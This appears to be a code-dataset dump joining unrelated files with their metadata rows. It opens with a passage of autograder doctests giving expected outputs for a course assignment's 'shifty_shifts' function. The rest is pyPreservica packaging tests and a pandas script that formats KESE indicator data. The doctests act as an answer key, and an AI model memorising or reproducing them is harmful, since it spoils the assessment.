shifty_shifts('place', 'wreat', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('pray', 'okee', 100) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('cloit', 'cloit', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('yond', 'yo', k) > k for k in range(4)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('tb', 'tb', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('gobi', 'gobi', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('watap', 'wotapi', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('baffy', 'bafq', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('else', 'konak', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('zygon', 'zrgoi', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('lar', 'lar', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('shop', 'shd', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('pc', 'pc', k) > k for k in range(2)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('sail', 'sail', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('fiber', 'fibe', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('doff', 'do', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('meile', 'meilew', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('donor', 'donorc', k) > k for k in range(6)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('meet', 'meeu', k) > k for k in range(4)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('tic', 'tih', k) > k for k in range(3)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('taft', 'hewer', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('moorn', 'toxa', k) > k for k in range(5)]) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('hamal', 'hamal', k) > k for k in range(5)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('pridy', 'dance', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('dekko', 'ee', 100) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('julio', 'juli', k) > k for k in range(5)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('boist', 'spume', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('jail', 'jailu', k) > k for k in range(5)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('cumin', 'goes', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('civil', 'whose', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('stead', 'ny', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('mikie', 'mdkie', k) > k for k in range(5)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('utils', 'utils', k) > k for k in range(5)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('nuque', 'nuquv', k) > k for k in range(5)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('chine', 'ihi', 100) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('tour', 'erase', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('ak', 'rose', 100) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('sawah', 'shape', k) > k for k in range(5)]) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('elb', 'logia', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('noily', 'soi', k) > k for k in range(5)]) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('fluid', 'grad', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('titer', 'titegw', k) > k for k in range(6)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('shood', 'shood', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('sher', 'dhey', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('dayal', 'qualm', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('tenai', 'whata', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('bow', 'how', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('tony', 'togqq', k) > k for k in range(5)]) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('baby', 'ton', k) > k for k in range(4)]) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('seron', 'seron', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('tame', 'tfme', k) > k for k in range(4)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('kissy', 'kissykd', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('str', 'st', k) > k for k in range(3)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('enema', 'hnem', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('beden', 'beden', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('coral', 'coral', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('hack', 'haykp', k) > k for k in range(5)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('alan', 'alan', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('aru', 'aru', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('tail', 'tailp', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('corps', 'co', 100) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('kazi', 'kazi', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('bone', 'bone', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('dee', 'dee', k) > k for k in range(3)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('fuder', 'fuder', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('harl', 'harvn', k) > k for k in range(5)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('def', 'de', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('moio', 'yomo', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('amnia', 'agni', k) > k for k in range(5)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('pair', 'pair', k) > k for k in range(4)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('peai', 'seg', 100) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('pryse', 'pryseffp', 100) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('amelu', 'samp', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('weak', 'wea', k) > k for k in range(4)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('atelo', 'atelo', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('uc', 'kc', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('strew', 'jaup', k) > k for k in range(5)]) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('dome', 'dume', k) > k for k in range(4)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('braze', 'sxaze', 100) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('zaman', 'zaman', k) > k for k in range(5)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('twank', 'renne', 100) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('pinky', 'pin', k) > k for k in range(5)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('spoke', 'spoke', k) > k for k in range(5)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('recto', 'recto', k) > k for k in range(5)]) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('ula', 'ula', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('dame', 'froth', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('grane', 'gaane', k) > k for k in range(5)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('cycad', 'cqcad', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('creem', 'creemibh', k) > k for k in range(8)]) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('alky', 'alfy', k) > k for k in range(4)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('finds', 'fond', k) > k for k in range(5)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('argot', 'argotlp', k) > k for k in range(7)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('lc', 'roost', 100) 5 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('mi', 'iran', 100) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('faded', 'fadedfeb', k) > k for k in range(8)]) 3 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('slee', 'ble', k) > k for k in range(4)]) 2 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('macro', 'macr', 100) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('bbs', 'bbj', k) > k for k in range(3)]) 1 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> sum([shifty_shifts('roud', 'roud', k) > k for k in range(4)]) 0 """, 'hidden': False, 'locked': False } ], 'scored': True, 'setup': r""" >>> from cats import shifty_shifts, autocorrect >>> import tests.construct_check as test """, 'teardown': '', 'type': 'doctest' } ] }
24.208889
107
0.338076
1,815
21,788
3.974105
0.160331
0.206294
0.245113
0.317205
0.762789
0.723
0.700818
0.676834
0.670595
0.629974
0
0.030488
0.480632
21,788
899
108
24.235818
0.606928
0
0
0.470523
0
0.054505
0.58803
0.119102
0
0
0
0
0
1
0
false
0
0.004449
0
0.004449
0.001112
0
0
0
null
1
1
1
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f6bea2f718569edf9f5fc914a9c247f24935c667
48
py
Python
production/avotes-parser-cli/avotes_parser/cli/__init__.py
lidofinance/AVotesParser
be8df15b79f4005f26733ba5eed2de714bcfd731
[ "MIT" ]
null
null
null
production/avotes-parser-cli/avotes_parser/cli/__init__.py
lidofinance/AVotesParser
be8df15b79f4005f26733ba5eed2de714bcfd731
[ "MIT" ]
null
null
null
production/avotes-parser-cli/avotes_parser/cli/__init__.py
lidofinance/AVotesParser
be8df15b79f4005f26733ba5eed2de714bcfd731
[ "MIT" ]
null
null
null
# noqa from .package import __version__ # noqa
16
40
0.75
6
48
5.333333
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.1875
48
2
41
24
0.820513
0.1875
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f6cca1236f11806cc00e3b9b37ac2bbf6a419b25
6,117
py
Python
tests/test_upload.py
carj/pyPreservica
0b07b67971e89e366964a22d44066c30c42cc5cc
[ "Apache-2.0" ]
8
2020-07-01T12:20:59.000Z
2022-02-22T09:11:38.000Z
tests/test_upload.py
carj/pyPreservica
0b07b67971e89e366964a22d44066c30c42cc5cc
[ "Apache-2.0" ]
5
2020-11-13T13:38:36.000Z
2022-02-21T09:12:20.000Z
tests/test_upload.py
carj/pyPreservica
0b07b67971e89e366964a22d44066c30c42cc5cc
[ "Apache-2.0" ]
null
null
null
import shutil import xmlschema import pytest import zipfile import xml.etree.ElementTree from pyPreservica import * client = EntityAPI() FOLDER_ID = "ebd977f6-bebd-4ecf-99be-e054989f9af4" file = "./test_data/LC-USZ62-20901.tiff" NS = "http://preservica.com/XIP/v6.0" XML_DOCUMENT = "<person:Person xmlns:person='https://www.person.com/person'>" \ "<person:Name>Name</person:Name>" \ "<person:Phone>01234 100 100</person:Phone>" \ "<person:Email>test@test.com</person:Email>" \ "<person:Address>Abingdon, UK</person:Address>" \ "</person:Person>" def test_create_simple_package_no_parent(): with pytest.raises(RuntimeError): package = simple_asset_package(preservation_file=file) def test_create_simple_package_with_parent(): folder = client.folder(FOLDER_ID) package = simple_asset_package(preservation_file=file, parent_folder=folder) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder) class FixityCallBackTuple: def __call__(self, filename, full_path): sha1 = FileHash(hashlib.sha1) return tuple(("SHA1", sha1(full_path))) class FixityCallBack: def __call__(self, filename, full_path): sha1 = FileHash(hashlib.sha1) return "SHA1", sha1(full_path) class TwoFixityCallBack: def __call__(self, filename, full_path): sha1 = FileHash(hashlib.sha1) md5 = FileHash(hashlib.md5) return {"MD5": md5(full_path), "SHA1": sha1(full_path)} def test_create_simple_package_with_fixity_tuple(): folder = client.folder(FOLDER_ID) package = simple_asset_package(preservation_file=file, parent_folder=folder, Preservation_files_fixity_callback=FixityCallBackTuple()) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder) def test_create_simple_package_with_fixity(): folder = client.folder(FOLDER_ID) package = simple_asset_package(preservation_file=file, parent_folder=folder, Preservation_files_fixity_callback=FixityCallBack()) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder) def test_create_simple_package_with_fixities(): folder = client.folder(FOLDER_ID) package = simple_asset_package(preservation_file=file, parent_folder=folder, Preservation_files_fixity_callback=TwoFixityCallBack()) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder) def test_create_complex_package_with_parent(): folder = client.folder(FOLDER_ID) preservation_files_list = [file, file] package = complex_asset_package(preservation_files_list=preservation_files_list, parent_folder=folder) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder) def test_create_complex_package_with_metadata(): folder = client.folder(FOLDER_ID) preservation_files_list = [file, file] metadata = {"https://www.person.com/person": XML_DOCUMENT} package = complex_asset_package(preservation_files_list=preservation_files_list, parent_folder=folder, Asset_Metadata=metadata) io_ref = os.path.basename(package).replace(".zip", "") with zipfile.ZipFile(package, "r") as zip_ref: zip_ref.extractall("./test_data/") folder = f"./test_data/{io_ref}" assert os.path.exists(folder) metadata = f"{folder}/metadata.xml" assert os.path.exists(metadata) xml_document = xml.etree.ElementTree.parse(metadata) ref = xml_document.find(f'.//{{{NS}}}InformationObject/{{{NS}}}Ref') assert ref.text == io_ref xmlschema.validate(metadata, './test_data/XIP-V6.0.xsd') shutil.rmtree(folder)
40.243421
106
0.686121
779
6,117
5.166881
0.125802
0.037764
0.035776
0.053665
0.840248
0.811925
0.807205
0.78559
0.779876
0.779876
0
0.012433
0.171653
6,117
151
107
40.509934
0.781922
0
0
0.689922
0
0
0.181462
0.110348
0
0
0
0
0.139535
1
0.077519
false
0
0.046512
0
0.170543
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
1010fe136b7b2aa4062a8633bd4da721b7e2aff4
11,555
py
Python
kese_website_files/kese_website_formatter.py
EMKF/kese
f527988c622717dbd3c21ecb396386841aacc03b
[ "MIT" ]
null
null
null
kese_website_files/kese_website_formatter.py
EMKF/kese
f527988c622717dbd3c21ecb396386841aacc03b
[ "MIT" ]
null
null
null
kese_website_files/kese_website_formatter.py
EMKF/kese
f527988c622717dbd3c21ecb396386841aacc03b
[ "MIT" ]
null
null
null
import pandas as pd import numpy as np import sys import tools.constants as c from functools import reduce pd.set_option('max_columns', 1000) pd.set_option('max_info_columns', 1000) pd.set_option('expand_frame_repr', False) pd.set_option('display.max_rows', 30000) pd.set_option('max_colwidth', 4000) pd.set_option('display.float_format', lambda x: '%.8f' % x) pd.set_option('chained_assignment',None) def rne_data_create(): # pull state and national state = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_State_1996_2021.xlsx', sheet_name='Rate of New Entrepreneurs') national = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_National_1996_2021.xlsx', sheet_name='Rate of New Entrepreneurs') # rename and create demographic columns national = national.rename(columns={"demtype": "demographic-type"}) state.insert(1, 'demographic-type', np.nan) state.insert(2, 'demographic', np.nan) # subset columns national = national[national.columns[pd.Series(national.columns).str.startswith(('sname', 'demo', 'rne_'))]] state = state[state.columns[pd.Series(state.columns).str.startswith(('sname', 'demo', 'rne_'))]] # strip column names national.columns = national.columns.str.lstrip("rne_") national.columns = national.columns.str.lstrip("s") state.columns = state.columns.str.lstrip("rne_") state.columns = state.columns.str.lstrip("s") # concat national and state frames = [national, state] rne = pd.concat(frames) # rename region column and map fips codes rne['name'] = rne['name'].map(c.us_state_abbrev).map(c.state_abb_fips_dic) rne = rne.rename(columns={"name": "region"}) # sort by demographic rne = rne.sort_values(by=['demographic-type']).reset_index(drop=True) rne.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_website_rne.csv', index=False) return rne def ose_data_create(): # pull state and national state = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_State_1996_2021.xlsx', sheet_name='Opportunity Share of NE') national = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_National_1996_2021.xlsx', sheet_name='Opportunity Share of NE') # rename and create demographic columns national = national.rename(columns={"demtype": "demographic-type"}) state.insert(1, 'demographic-type', np.nan) state.insert(2, 'demographic', np.nan) # subset columns national = national[national.columns[pd.Series(national.columns).str.startswith(('sname', 'demo', 'ose_'))]] state = state[state.columns[pd.Series(state.columns).str.startswith(('sname', 'demo', 'ose_'))]] # strip column names national.columns = national.columns.str.lstrip("ose_") national.columns = national.columns.str.lstrip("s") state.columns = state.columns.str.lstrip("ose_") state.columns = state.columns.str.lstrip("s") # concat national and state frames = [national, state] ose = pd.concat(frames) # rename region column and map fips codes ose['name'] = ose['name'].map(c.us_state_abbrev).map(c.state_abb_fips_dic) ose = ose.rename(columns={"name": "region"}) # sort by demographic ose = ose.sort_values(by=['demographic-type']).reset_index(drop=True) ose.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_website_ose.csv', index=False) return ose def sjc_data_create(): # pull state and national state = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_State_1996_2021.xlsx', sheet_name='Startup Job Creation') national = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_National_1996_2021.xlsx', sheet_name='Startup Job Creation') # rename and create demographic columns state.insert(1, 'demographic-type', np.nan) state.insert(2, 'demographic', np.nan) national.insert(1, 'demographic-type', np.nan) national.insert(2, 'demographic', np.nan) # subset columns national = national[national.columns[pd.Series(national.columns).str.startswith(('sname', 'demo', 'sjc_'))]] state = state[state.columns[pd.Series(state.columns).str.startswith(('sname', 'demo', 'sjc_'))]] # strip column names national.columns = national.columns.str.lstrip("sjc_") national.columns = national.columns.str.lstrip("s") state.columns = state.columns.str.lstrip("sjc_") state.columns = state.columns.str.lstrip("s") national = national[national.columns.drop(list(national.filter(regex='_jobs')))] state = state[state.columns.drop(list(state.filter(regex='_jobs')))] national = national[national.columns.drop(list(national.filter(regex='_pop')))] state = state[state.columns.drop(list(state.filter(regex='_pop')))] # concat national and state frames = [national, state] sjc = pd.concat(frames) # rename region column and map fips codes sjc['name'] = sjc['name'].map(c.us_state_abbrev).map(c.state_abb_fips_dic) sjc = sjc.rename(columns={"name": "region"}) # change column types sjc = sjc.astype({'demographic-type': 'object', 'demographic': 'object'}) # sort by demographic sjc = sjc.sort_values(by=['demographic-type']).reset_index(drop=True) sjc.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_website_sjc.csv', index=False) return sjc def ssr_data_create(): # pull state and national state = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_State_1996_2021.xlsx', sheet_name='Startup Survival Rate') national = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_National_1996_2021.xlsx', sheet_name='Startup Survival Rate') # rename and create demographic columns state.insert(1, 'demographic-type', np.nan) state.insert(2, 'demographic', np.nan) national.insert(1, 'demographic-type', np.nan) national.insert(2, 'demographic', np.nan) # subset columns national = national[national.columns[pd.Series(national.columns).str.startswith(('sname', 'demo', 'ssr_'))]] state = state[state.columns[pd.Series(state.columns).str.startswith(('sname', 'demo', 'ssr_'))]] national = national[national.columns.drop(list(national.filter(regex='_new')))] state = state[state.columns.drop(list(state.filter(regex='_new')))] national = national[national.columns.drop(list(national.filter(regex='_surv')))] state = state[state.columns.drop(list(state.filter(regex='_surv')))] # strip column names national.columns = national.columns.str.lstrip("ssr_") national.columns = national.columns.str.lstrip("s") state.columns = state.columns.str.lstrip("ssr_") state.columns = state.columns.str.lstrip("s") # concat national and state frames = [national, state] ssr = pd.concat(frames) # rename region column and map fips codes ssr['name'] = ssr['name'].map(c.us_state_abbrev).map(c.state_abb_fips_dic) ssr = ssr.rename(columns={"name": "region"}) # change column types ssr = ssr.astype({'demographic-type': 'object', 'demographic': 'object'}) # sort by demographic ssr = ssr.sort_values(by=['demographic-type']).reset_index(drop=True) ssr.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_website_ssr.csv', index=False) return ssr def index_data_create(): # pull state and national state = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_State_1996_2021.xlsx', sheet_name='KESE Index') national = pd.read_excel(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_rob_kese_files/Kauffman_Indicators_Data_National_1996_2021.xlsx', sheet_name='KESE Index') # subset columns national = national[national.columns[pd.Series(national.columns).str.startswith(('sname', 'demo', 'z'))]] state = state[state.columns[pd.Series(state.columns).str.startswith(('sname', 'demo', 'z'))]] # strip column names national.columns = national.columns.str.lstrip("zindex_") national.columns = national.columns.str.lstrip("s") state.columns = state.columns.str.lstrip("zindex_") state.columns = state.columns.str.lstrip("s") # rename and create demographic columns state.insert(1, 'demographic-type', np.nan) state.insert(2, 'demographic', np.nan) national.insert(1, 'demographic-type', np.nan) national.insert(2, 'demographic', np.nan) # concat national and state frames = [national, state] index = pd.concat(frames) # rename region column and map fips codes index['name'] = index['name'].map(c.us_state_abbrev).map(c.state_abb_fips_dic) index = index.rename(columns={"name": "region"}) # change column types index = index.astype({'demographic-type': 'object', 'demographic': 'object'}) # sort by demographic index = index.sort_values(by=['demographic-type']).reset_index(drop=True) index.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_website_zindex.csv', index=False) return index def ind_data_download_create(df, name): # rename columns df = df.rename(columns={"region": "name", "demographic-type": "type", "demographic": "category"}) # insert fips name column df.insert(0, 'fips', df['name']) # map fips codes to region names df['name'] = df['name'].map(c.state_fips_abb_dic).map(c.abbrev_us_state) # # wide to long df = df.melt(id_vars=['fips', 'name', 'type', 'category'], var_name='year', value_name=name) return df def data_download(rne, ose, sjc, ssr, index): rneose = pd.merge(rne, ose, how='left', on=['fips', 'name', 'type', 'category', 'year']).reset_index(drop=True) sjcssr = pd.merge(sjc, ssr, how='left', on=['fips', 'name', 'type', 'category', 'year']).reset_index(drop=True) rneosesjcssr = pd.merge(rneose, sjcssr, how='left', on=['fips', 'name', 'type', 'category', 'year']).reset_index(drop=True) download = pd.merge(rneosesjcssr, index, how='left', on=['fips', 'name', 'type', 'category', 'year']).reset_index(drop=True) download = download.sort_values(by=['name', 'year']).reset_index(drop=True) print(download.head()) download.to_csv(f's3://emkf.data.research/indicators/kese/data_outputs/2021_kese_website/2021_kese_download.csv', index=False) return download if __name__ == '__main__': # website files rne = rne_data_create() ose = ose_data_create() sjc = sjc_data_create() ssr = ssr_data_create() index = index_data_create() # individual data download files rne = ind_data_download_create(rne, 'rne') ose = ind_data_download_create(ose, 'ose') sjc = ind_data_download_create(sjc, 'sjc') ssr = ind_data_download_create(ssr, 'ssr') index = ind_data_download_create(index, 'zindex') # data download download = data_download(rne, ose, sjc, ssr, index)
55.821256
212
0.722025
1,624
11,555
4.946429
0.093596
0.063488
0.039213
0.02191
0.819993
0.811776
0.80854
0.755509
0.749782
0.602515
0
0.025684
0.127304
11,555
206
213
56.092233
0.770924
0.096235
0
0.222973
0
0.067568
0.313901
0.187686
0
0
0
0
0
1
0.047297
false
0
0.033784
0
0.128378
0.006757
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
1222c152a2382e2ce7fd45765bf030fa2b20bbed
36
py
Python
src/marvinbot/__main__.py
osullivryan/marvin-the-discord-bot
ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d
[ "MIT" ]
null
null
null
src/marvinbot/__main__.py
osullivryan/marvin-the-discord-bot
ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d
[ "MIT" ]
null
null
null
src/marvinbot/__main__.py
osullivryan/marvin-the-discord-bot
ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d
[ "MIT" ]
null
null
null
from marvinbot.marvin import Marvin
18
35
0.861111
5
36
6.2
0.8
0
0
0
0
0
0
0
0
0
0
0
0.111111
36
1
36
36
0.96875
0
0
0
0
0
0
0
0
0
